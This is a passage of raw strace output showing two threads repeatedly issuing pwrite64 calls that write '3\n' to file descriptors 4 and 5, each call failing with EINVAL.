[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
